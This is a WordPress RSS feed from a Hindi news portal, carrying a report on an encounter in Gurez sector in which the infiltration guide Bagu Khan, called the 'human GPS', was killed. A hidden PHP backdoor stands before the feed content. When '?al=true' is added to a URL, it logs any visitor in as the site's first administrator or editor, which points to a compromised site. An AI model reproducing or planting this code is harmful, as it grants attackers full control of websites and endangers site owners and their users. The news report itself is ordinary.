// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); bagu khan samundar uncle – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 30 Aug 2025 11:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 एनकाउंटर में ढेर समंदर चाचा उर्फ ‘ह्यूमन GPS’, गुरेज सेक्टर में कराता था घुसपैठ https://pratyushaashakinayikiran.com/?p=181824 Sat, 30 Aug 2025 11:39:00 +0000 https://pratyushaashakinayikiran.com/?p=181824  श्रीनगर

जम्मू-कश्मीर के गुरेज सेक्टर में सुरक्षा बलों ने बड़ी सफलता हासिल की. एनकाउंटर में बागू खान उर्फ समंदर चाचा मारा गया है, जिसे आतंकियों की दुनिया में 'ह्यूमन जीपीएस' कहा जाता था. सूत्रों के मुताबिक, समंदर चाचा के साथ एक और पाकिस्तानी घुसपैठिया भी ढेर हुआ है.

बागू खान उर्फ समंदर चाचा 1995 से पाकिस्तान अधिकृत कश्मीर (PoK) में रह रहा था. सुरक्षा एजेंसियों के अनुसार, वो पिछले तीन दशकों से गुरेज सेक्टर और आसपास के इलाकों से 100 से ज्यादा घुसपैठी प्रयासों को अंजाम दिलाने में शामिल रहा, जिनमें से ज्यादातर सफल रहे. इलाके के कठिन पहाड़ी और गुप्त रास्तों की गहरी जानकारी उसे आतंकी संगठनों के लिए बेहद खास बनाती थी.

आतंकी संगठनों की करता था मदद

हालांकि, वो हिजबुल कमांडर था, लेकिन समंदर चाचा सिर्फ एक आतंकी संगठन तक सीमित नहीं था. उसने लगभग हर आतंकी संगठन को घुसपैठ की योजना बनाने और उसे अंजाम देने में मदद की. इसी वजह से आतंकी उसे 'ह्यूमन जीपीएस' कहकर बुलाते थे.

एनकाउंटर में ढेर

सूत्रों ने बताया कि 28 अगस्त की रात जब वो नौशेरा नार इलाके से एक और घुसपैठ की कोशिश कर रहा था, तभी सुरक्षा बलों ने उसे घेर लिया. मुठभेड़ में समंदर चाचा और उसके साथ मौजूद एक और आतंकी मारा गया. अगले दिन यानी 29 अगस्त की सुबह तक इलाके में गोलीबारी और तलाशी अभियान जारी रहा.

आतंकियों के नेटवर्क को बड़ा झटका

सुरक्षा अधिकारियों के मुताबिक, समंदर चाचा की मौत आतंकी संगठनों के लॉजिस्टिक नेटवर्क को करारा झटका है. उसके मारे जाने से घुसपैठ की कई संभावित योजनाएं ध्वस्त हो गई हैं. समंदर चाचा वर्षों तक सुरक्षा बलों की पकड़ से बचता रहा है.

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